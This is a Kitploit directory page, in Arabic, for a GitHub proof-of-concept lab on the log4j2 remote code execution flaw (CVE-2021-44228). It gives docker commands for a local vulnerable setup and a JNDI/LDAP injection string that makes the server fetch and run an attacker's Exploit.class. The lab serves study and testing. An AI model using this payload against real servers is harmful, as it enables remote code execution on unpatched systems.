Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j-rce-CVE-2021-44228 — log4j2 CVE-2021-44228 POC | Kitploit
أدوات/GitHubGitHub/1hakusai1/log4j-rce-cve-2021-44228
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHub1hakusai1/log4j-rce-cve-2021-44228

log4j-rce-CVE-2021-44228

log4j2 CVE-2021-44228 POC

عرض المستودع
منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ملخص

مشروع لاختبار ثغرة تنفيذ التعليمات البرمجية عن بُعد في log4j2 (CVE-2021-44228) عمليًا.

تشغيل الحاويات

root@kitploit:~
docker-compose up

تستغرق حاوية log4j بعض الوقت حتى تصبح جاهزة بعد بدء التشغيل. تحقق من التقدم باستخدام الأمر التالي:

root@kitploit:~
docker logs -f log4j

عند ظهور الرسالة Server started: Listening on port 8081 تكون جاهزًا.

التحقق من الحالة قبل الهجوم

تحقق من دليل /root في حاوية log4j:

root@kitploit:~
docker exec log4j ls /root

في الحالة الأولية، يوجد دليل work فقط.

تنفيذ الهجوم الفعلي

قم بزيارة http://localhost:8081/. إنه تطبيق بسيط يقوم فقط بطباعة الاسم المُدخل في النموذج على الشاشة وفي السجل.

أدخل ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} في النموذج وأرسله.

تحقق من دليل /root في حاوية log4j:

root@kitploit:~
docker exec log4j ls /root

سيتم تنفيذ الكود الذي أعده المهاجم وإنشاء ملفات لم تكن موجودة من قبل. نظرًا لأن الطابع الزمني يُستخدم كاسم للملف، ستزداد الملفات الجديدة بعدد مرات تنفيذ الهجوم.

عند التحقق من سجلات حاوية ldap، يمكنك تأكيد وصول طلب SEARCH من حاوية log4j:

root@kitploit:~
docker logs ldap

عند التحقق من سجلات tomcat في حاوية web، يمكنك تأكيد وصول طلب الوصول إلى Exploit.class (الفئة المستخدمة في الهجوم) من حاوية log4j:

root@kitploit:~
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*
تنزيل الأداة